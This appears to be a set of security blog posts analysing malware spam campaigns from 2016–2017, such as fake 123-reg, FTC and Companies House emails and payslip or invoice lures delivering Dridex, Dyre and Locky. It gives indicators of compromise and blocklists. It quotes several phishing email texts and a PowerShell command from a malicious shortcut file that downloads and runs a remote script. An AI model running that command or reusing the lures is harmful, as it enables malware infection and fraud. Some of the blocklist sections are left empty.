Malware spam: "Copy of your 123-reg invoice" / no-reply@123-reg.co.uk

This fake financial spam does not come from 123-Reg (nor is it sent to 123-Reg customers). It has a malicious attachment.

From     no-reply@123-reg.co.uk
Date     Wed, 19 Apr 2017 17:19:51 +0500
Subject     Copy of your 123-reg invoice ( 123-093702027 )

Hi [redacted],

Thank you for your order.

Please find attached to this email a receipt for this payment.

Help and support

If you are still stuck why not contact our support team? Simply visit our 123-reg
Support Centre and click on the Ask a Question tab.

Thank you for choosing 123-reg.

The 123-reg team.
https://www.123-reg.co.uk
The invoice number is randomly generated. The attachment is a PDF file with a name matching the invoice number (e.g. 123-093702027-reg-invoice.pdf).

This PDF file appears to drop an Office document according to VirusTotal results.

Hybrid Analysis shows the document dropping a malicious executable with a detection rate of 15/61. It appears to contact the following IPs (some of which contain legitimate sites):

216.87.186.15 (Affinity Internet, US)
216.177.132.93 (Alentus Corporation, US)
152.66.249.132 (Budapest University of Technology and Economics, Budapest)
85.214.113.207 (Strato AG, Germany)
192.184.84.119 (RamNode LLC, US)

The general prognosis seems to be that this is dropping the Dridex banking trojan.

Recommended blocklist:
216.87.186.15

Malware spam: "RE: RE: ftc refund" / secretary@ftccomplaintassistant.com

This fake FTC email leads to malware. Curiously, it was sent to a company that received a multimillion dollar FTC fine, but this is almost definitely a coincidence.

From:    Federal Trade Commission [secretary@ftccomplaintassistant.com]
Date:    17 April 2017 at 15:25
Subject:    RE: RE: ftc refund


It seems we can claim a refund from the FTC.
Check this out and give me a call.
https://www.ftc.gov/refunds/company/companyname.com/FTC_refund_recipientname.doc
Thank you
James Newman
Senior Accountant
secretary@ftccomplaintassistant.com
212-0061570

The link in the email actually goes to a URL beginning http://thecomplete180.com/view.php?id= followed by a Base 64 encoded string that appears to be 6281 + recipient email address + 5434 (so for president@whitehouse.gov it would be http://thecomplete180.com/view.php?id=NjI4MXByZXNpZGVudEB3aGl0ZWhvdXNlLmdvdjU0MzQ=)

Obviously this downloaded document is up to no good, but the VirusTotal detection rates are only 5/56. The Word document itself tries to persuade victims to enable macros, which would be a bad idea.


Automated analysis [1] [2] shows network traffic to:

wasstalwihis.com/bdk/gate.php
littperevengpa.com/ls5/forum.php
littperevengpa.com/mlu/forum.php
littperevengpa.com/d1/about.php

hybridinformatica.com.br/blog/wp-content/themes/twentyeleven/inc/1
hybridinformatica.com.br/blog/wp-content/themes/twentyeleven/inc/2


It also appears to start sending traffic via Tor, which is a good reason to monitor Tor on your network. All sorts of files are dropped, most of which don't seem to be particularly malicious. "Gate.php" indicates a Pony downloader, but this does look like a tricky bugger.

Out of the domains contacted, littperevengpa.com and wasstalwihis.com shared the same registrant details and look fairly evil. We can associate the same registrant with the following domains:

soinwarep.com
ronwronsednot.com
withwasnothar.com

Perhaps more usefully, we can associate that registrant with the following IPs:

185.146.1.4 (PS Internet Company LLC, Kazakhstan)

91.230.211.67 [hostname: nejokexulag.freeopti.ru] (Optibit LLC, Russia)

This gives us a pretty useful minimum blocklist:

Malware spam: "Company Documents" / WebFilling@companieshousemail.co.uk and companieshouseemail.co.uk plus others

This spam email does not come from Companies House, but is instead a simple forgery with a malicious attachment:

I observed the email coming from the fake domains companieshousemail.co.uk and companieshouseemail.co.uk  but it looks like there may be more. Email is being send from servers in the 94.237.36.0/24 range (Upcloud Ltd, Finland) and I can see other servers set up to do the same thing:

companieshouseemail.co.uk  94.237.36.104
companieshouseemail.co.uk  94.237.36.145
companieshousemail.co.uk  94.237.36.146
companieshousemail.co.uk  94.237.36.147
companieshousesecure.co.uk  94.237.36.150
companieshousesecure.co.uk  94.237.36.151


Blocking email from the entire 94.237.36.0/24 range at least temporarily might be prudent.

The WHOIS details for these indicate they were registered today with presumably fake details, but that the registrar Nominet have somehow "verified".

Registrant:

Registrant type:

Registrant's address:
37 Maberley Road

Data validation:

All the attachments I have seen are the same with a current detection rate of 6/55. Hybrid Analysis of the document shows it downloading a component from shuswapcomputer.ca/images/banners/bannerlogo.png and a malicious executable %APPDATA%\pnwshqr.exe is dropped with a detection rate of 14/62.

Automated analysis of the binary [1] [2] show potentially malicious traffic going to:

107.181.161.221 (Total Server Solutions, US)
185.25.51.118 (Informacines sistemos ir technologijos UAB aka bacloud,com, Lithuania)


There are probably other destinations too. The payload appears to be Dyre / Dyreza.

More highly personalised malspam using hijacked domains

Following on from this spam some weeks ago, another one comes in using a broadly similar technique of including the potential victim's real home address while using apparently hijacked infrastructure (although in this case the hijacking isn't so elaborate).

The newshocks.com domain used in the "From" field matches the sending server of rel209.newshocks.com (also mail.newshocks.com) on 185.141.164.209. This appears to be a legitimate but unused domain belonging to a distributor of car parts.

The link in the email goes to clipartwin.com/customers/customer-status-003009-verified which is currently 404ing so I can't tell what the payload is, although the previous payload appears to be Ramnit or similar. This is using another hijacked but apparently legitimate web server.

I don't know where the data has leaked from, but in this case the victim had lived at the address for the past four years.. so the leak cannot be ancient. If you have seen something similar or have an idea of where the data came from, please leave a comment below.

The data in the spam was identifiable as being a few years old. The intended victim does not appear on the haveibeenpwned.com database. My assumption is that this information has been harvested from an undisclosed data breach.

I was not able to extract the final payload, however the infection path is as follows:

http://bebracelet.com/customerarea/notification-processing-G29804772-064.doc
--> http://customer.abudusolicitors.com/customerarea/notification-processing-G29804772-064.doc
--> https://customer.affiliate-labs.net/customerarea/notification-processing-G29804772-064.zip

This ZIP file actually contains a .lnk file with the following Powershell command embedded in it:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden -nop -ep bypass -nologo -c IEX ((New-Object Net.WebClient).DownloadString('http://cristianinho.com/lenty/reasy.ps1'));

I couldn't get a response from the server at cristianinho.com [5.152.199.228 - Redstation, UK], this looks like a possibly legitimate but hijacked domain that uses nameservers belonging to Namecheap. But that's not the only Namecheap connection, because the two "customer" subdomains are also using Namecheap hosting (for the record the subdomains are hosted on - 185.130.207.37 and 185.141.165.204 which is Host1Plus, UK / Digital Energy Technologies, DE).

Three connection to Namecheap is worrying, and certainly we've seen hijacking patterns involving other domain registrars. Or it could just be a coincidence..

The email originated from mx119.argozelo.info on 188.214.88.119 (Hzone, Romania). Just on a hunch, I checked the domain argozelo.info and it appears to be a wholly legitimate site about a Portuguese village, registered at GoDaddy hosted on Blogger. So why does it need a dedicated mail server?

Well.. this particular rabbit hole goes a little deeper. mx119 gives a clue that there might be more than one mailsever, and indeed there are 34 of the critters name mx110.argozelo.info through to mx143.argozelo.info hosted on 188.214.88.110 through 188.214.88.142. But according to Wikipedia, Argozelo only has about 700 inhabitants, so it seems unlikely that they'd need 34 mailservers in Romania.

So, my guess is that argozelo.info has also been hijacked, and hostnames set up for each of the mailservers. But we're not quite finished with this rabbit hole yet. Oh no.

What caught my eye was a mailserver on 188.214.88.110 (the same as mx110.argozelo.info) named mail.localpoolrepair.com which certainly rang a bell because the email was apparently from customer@localpoolrepair.com - yeah, OK.. the "From" in an email can be anything but this can't be a coincidence.

localpoolrepair.com appears to be a legitimate but unused GoDaddy-registered domain, hosted at an Athenix facility in the US. So why is there a mailserver in a Romanian IP block? A DIG at the records for this domain are revealing:

 Query for localpoolrepair.com type=255 class=1
  localpoolrepair.com SOA (Zone of Authority)
        Primary NS: dns.site5.com
        Responsible person: hostmaster@site5.com
        serial:2017021207
        refresh:3600s (60 minutes)
        retry:3600s (60 minutes)
        expire:604800s (7 days)
        minimum-ttl:3600s (60 minutes)
  localpoolrepair.com A (Address) 143.95.232.95
  localpoolrepair.com MX (Mail Exchanger) Priority: 10 mail.localpoolrepair.com
  localpoolrepair.com NS (Nameserver) dns2.site5.com
  localpoolrepair.com NS (Nameserver) dns.site5.com
  localpoolrepair.com TXT (Text Field)
    v=spf1 ip4:188.214.88.110/31 ip4:188.214.88.112/28 ip4:188.214.88.128/29 ip4:188.214.88.136/30 ip4:188.214.88.140/31 ip4:188.214.88.142/32  ~all
So.. the SPF records are valid for sending servers in the 188.214.88.110 through 188.214.88.142 range. It looks to me as if localpoolrepair.com has been hijacked and these SPF records added to it.

So we have hijacked legitimate domains with presumably a neutral or good reputation, and we have valid SPF records. This means that the spam will have decent deliverability. And then the spam itself addresses the victim by name and has personal details presumably stolen in a data breach. Could you trust yourself not to click the link?

Malware spam: "Payslip for the month Dec 2016." leads to Locky

This fake financial spam leads to Locky ransomware:

From:    PATRICA GROVES
Date:    19 December 2016 at 10:12
Subject:    Payslip for the month Dec 2016.

Dear customer,

We are sending your payslip for the month Dec 2016 as an attachment with this mail.

Note: This is an auto-generated mail. Please do not reply.
The name of the sender will vary. Attached is a malicious Word document with a name like Payslip_Dec_2016_6946345.doc which has a VirusTotal detection rate of 12/55.

This Hybrid Analysis clearly shows Locky ransomware in action when the document is opened.

According to my usual reliable source, the various versions of this download a component from one of the following locations:

The malware then phones home to one of the following locations:

Malware spam: "Payment Processing Problem" leads to Locky

This fake financial spam leads to Locky ransomware:

From:    Juliet Langley
Date:    15 December 2016 at 23:17
Subject:    Payment Processing Problem

Dear [redacted],

We have to inform you that a problem occured when processing your last payment (code: 3132224-M, $789.$63).
The receipt is in the attachment. Please study it and contact us.


-
King Regards,
Juliet Langley

The name of the sender will vary, as will the reference number and dollar amounts. Attached is a ZIP file with a name somewhat matching the reference (e.g. MPay3132224.zip) containing in turn a malicious Javascript with a name similar to ~_AB1C2D_~.js.

My trusted source says that the scripts download a component from one of the following locations:

Malware spam: "Amount Payable" leads to Locky

This fake financial spam leads to Locky ransomware:

From:    Lynn Drake
Date:    15 December 2016 at 09:55
Subject:    Amount Payable

Dear [redacted],
The amount payable has come to $38.29. All details are in the attachment.
Please open the file when possible.

Best Regards,
Lynn Drake
The name of the sender will vary, although the dollar amount seems consistent in all the samples I have seen. Attached is a file with a name similar to doc_6937209.zip which contains an apparently randomly-named script in a format similar to ~_ZJR8WZ_~.js. The highly obfuscated script of one sample can be seen here. Typical detection rates for the script are around 16/54.

There are many different scripts, downloading a component from one of the following locations (thanks to my usual reliable source):

According to this Malwr analysis, a DLL is dropped with a detection rate of 18/55.  This Hybrid Analysis shows the Locky infection clearly and identifies some C2s, combining this with another source gives the following list of C2 servers:

86.110.117.155/checkupdate (Rustelekom, Russia)
185.129.148.56/checkupdate (MWTV, Latvia)
185.17.120.166/checkupdate (Rustelekom, Russia)


MWTV is a known bad host, so I recommend blocking the entire /24.

Recommended blocklist:
86.110.117.155
185.129.148.0/24
185.17.120.166

Malware spam: "New(910)" leads to Locky

This spam leads to Locky ransomware:

From:    Savannah [Savannah807@victimdomain.tld]
Reply-To:    Savannah [Savannah807@victimdomain.tld]
Date:    12 December 2016 at 09:50
Subject:    New(910)

Scanned by CamScanner


Sent from Yahoo Mail on Android

The spam appears to come from a sender within the victim's own domain, but this is just a simple forgery. The attachment name is a .DOCM file matching the name in the subject. Automated analysis [1] [2] indicates that it works in a similar way to this other Locky ransomware run today.

Malware spam: "Invoice number: 947781" leads to Locky

This fake financial spam comes from multiple senders and leads to Locky ransomware:


From:    AUTUMN RHINES
Date:    12 December 2016 at 10:40
Subject:    Invoice number: 947781

Please find attached a copy of your invoice.


Tel: 0800 170 7234
Fax: 0161 850 0404

For all your stationery needs please visit Stationerybase.
The name of the sender varies, as does the fake invoice number. Attached is a .DOCM file with a filename matching that invoice number. Typical detection rates for the DOCM file are 13/56.

Automated analysis of a couple of these files [1] [2] [3] [4] show the macro downloading a component from miel-maroc.com/874ghv3  (there are probably many more locations). A DLL is dropped with a current detection rate of 11/57.

All those analyses indicate that this is Locky ransomware (Osiris variant), phoning home to:

176.121.14.95/checkupdate (Rinet LLC, Ukraine)
88.214.236.218/checkupdate (Overoptic Systems, UK / Russia)
91.219.31.14/checkupdate (FLP Kochenov Aleksej Vladislavovich aka uadomen.com, Ukraine)
